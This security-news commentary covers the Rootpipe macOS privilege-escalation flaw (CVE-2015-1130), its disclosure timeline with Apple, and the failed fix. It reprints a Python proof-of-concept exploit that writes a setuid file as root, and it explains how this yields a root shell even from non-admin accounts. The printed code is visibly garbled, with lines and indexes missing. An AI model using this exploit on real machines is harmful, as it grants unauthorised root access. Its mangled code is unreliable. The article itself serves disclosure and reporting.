|Home » Industry Watch (» The Technological » Hall of Monkeys » Heroes Banquet)
Sometimes the smell lingers on.
CUPERTINO (Rixstep) — On 2 October 2014, Swedish security researcher Emil Kvarnhammar made a startling discovery. It was reported in the evening tabloid Aftonbladet a mere eight days later.
Emil had discovered a privilege escalation 'hack' - he called it a backdoor.
The 'MO' of what he discovered was straightforward: there was an XPC service that allowed privilege escalation - even from a non-admin account - through a method used to create files.
He called his hack 'Rootpipe'. The source code for his PoC follows.
# PoC exploit code for rootpipe (CVE-2015-1130)
# Created by Emil Kvarnhammar, TrueSec
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver())
args = sys.argv
if len(args) != 3:
print "usage: exploit.py source_binary dest_binary_as_root"
source_binary = args
dest_binary = os.path.realpath(args)
if not os.path.exists(source_binary):
raise Exception("file does not exist!")
pool = NSAutoreleasePool.alloc().init()
attr = NSMutableDictionary.alloc().init()
data = NSData.alloc().initWithContentsOfFile_(source_binary)
print "will write file", dest_binary
adm_lib = load_lib("/Admin.framework/Admin")
Authenticator = objc.lookUpClass("Authenticator")
ToolLiaison = objc.lookUpClass("ToolLiaison")
SFAuthorization = objc.lookUpClass("SFAuthorization")
authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()
# authref with value nil is not accepted on OS X <= 10.8
st = ToolLiaison.sharedToolLiaison()
tool = st.tool()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
client = WriteConfigClient.sharedClient()
tool = client.remoteProxy()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
What's Going On?
What's going on? The code sees that a SUID binary (04777) is created. (SUID scripts can be disabled at boot.) All one needs after that is enough code in the binary to open a root shell. Two lines code tops. A discovery made later was that by passing a nil value for authref on 10.9 or later it can be made to work as well - even from non-admin accounts.
# authref with value nil is not accepted on OS X <= 10.8
The entire process can more or less be automated. By anyone anywhere.
The Hunt After October
Emil contacted Apple already the day after his discovery, and his company (TrueSec) and Apple came to an agreement about keeping silent about it all.
Rootpipe is a bit of déjà vu all over again, especially for those who've seen Opener and that curious propensity, starting with Safari 4.0.5, to install without authentication. There wasn't much of a murmur back then, and there's certainly not much of a murmur now: sporadic comments on social media ask demurely if Rootpipe will ever be fixed; further comments ask why the MSM are keeping so silent about it, now that the initial tempest in the teapot's been covered to their satisfaction.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
You can't place files in /Library/Updates without root privileges - you can't place anything in /var/db either - yet from one version of OS X to the next, where previously you of course needed to authenticate, you suddenly didn't need to authenticate at all. Meaning there's been a 'cheat' in OS X since at least March 2010 - and considering Opener, a lot longer.
What the heck were they thinking?
There are those who claim the Rootpipe hole has finally been plugged, but there seems to be no corroboration at this point. Another researcher claims that the hole can still be exploited - even after the 10.10.3 update.
Yeap their fix doesn't fix anything and that was clear the moment they only use entitlements as a fix.
The trick here is to exploit any of the authorized binaries to run code. DYLD_ will not work because dyld will always clear it on these binaries.
Using task_for_pid will trigger the password prompt which isn't silent and for that there's no need to use rootpipe for anything.
More Than Elegance
There's elegance in simplicity, said the Bell Labs gurus. But there's more than elegance - there's also maintainability and robustness. The legacy handed to NeXT and Apple with FreeBSD was considerable; not only is it way too much work to continually revise FreeBSD code that comes in, it's also imprudent: open source code can have been tested by hundreds, thousands, tens of thousands; OpenBSD even had a dedicated bug-hunter special staff; but playing with security by dreaming up doodads and new features that cannot have been adequately tested - that's just nuts.
Apple have been hit time and again - not through weaknesses in the 'rock solid foundation', but through the full retard ideas they've had about adding feature sets to that foundation.
Maybe it's time they stopped. Maybe it's time Sir Tim and his immediate staff - who most likely have no clue what's really going on - take a closer look themselves. The company with the biggest market cap in the world - with an unbelievable product lineup today - can make sure the 'Scott Forstall discards' don't undermine the corporation's interests anymore.
Oct 2nd 2014: First discovery
Oct 3rd 2014: First contact with Apple Product Security Team
Oct 14th 2014: Exploit code shared with Apple
Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015
Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe
Nov 14th 2014: Apple requested to postpone disclosure
Nov 17th 2014: Release of OS X 10.10.1, also vulnerable
Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X
Jan 16th 2015: CVE-2015-1130 created by Apple
Jan 27th 2015: Release of OS X 10.10.2, also vulnerable
March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved
April 1st 2015: Apple confirmed that release is coming the second week of April
April 8th 2015: Release of OS X 10.10.3
April 9th 2015: Full disclosure
Details on the #rootpipe exploit will be presented, but not now. Let's just give Apple some time to roll out a patch to affected users.
- Emil Kvarnhammar 16 October 2014
Rixstep: The Strange Case of Safari 4.0.5
Rixstep: 'Without Explicit Authorization'
Aftonbladet: Ny säkerhetsbrist upptäckt i Apples operativsystem
Macworld UK: Swedish hacker finds 'serious' vulnerability in OS X Yosemite
ZD: Serious security flaw in OS X Yosemite 'Rootpipe'
The Register: OS X Yosemite infested by nasty 'Rootpipe' vuln
Guardian: Double trouble for Apple as two software security flaws discovered
TrueSec: Hidden backdoor API to root privileges in Apple OS X
CVE Details: CVE-2015-1130
Reverse: How to fix Rootpipe in Mavericks and call Apple's bullshit bluff
Objective-See: Phoenix: RootPipe lives! Even on OS X 10.10.3
Forbes: Failed Apple Rootpipe Fix Leaves Backdoor On All Macs
InfoWorld: OS X 'Rootpipe' patch flops, fails to fix flaw
Net Security: Apple fix didn't close Rootpipe backdoor
SC Magazine: 'Rootpipe' vulnerability still exploitable on patched machines
TrueSec: Rootpipe: OS X 10.10.3 still vulnerable
Reverse: The Empire Strikes Back Apple - How your Mac firmware security is completely broken
Ars: New exploit leaves most Macs vulnerable to permanent backdooring
Cult of Mac: Rootpipe Older Macs are vulnerable to dangerous new bug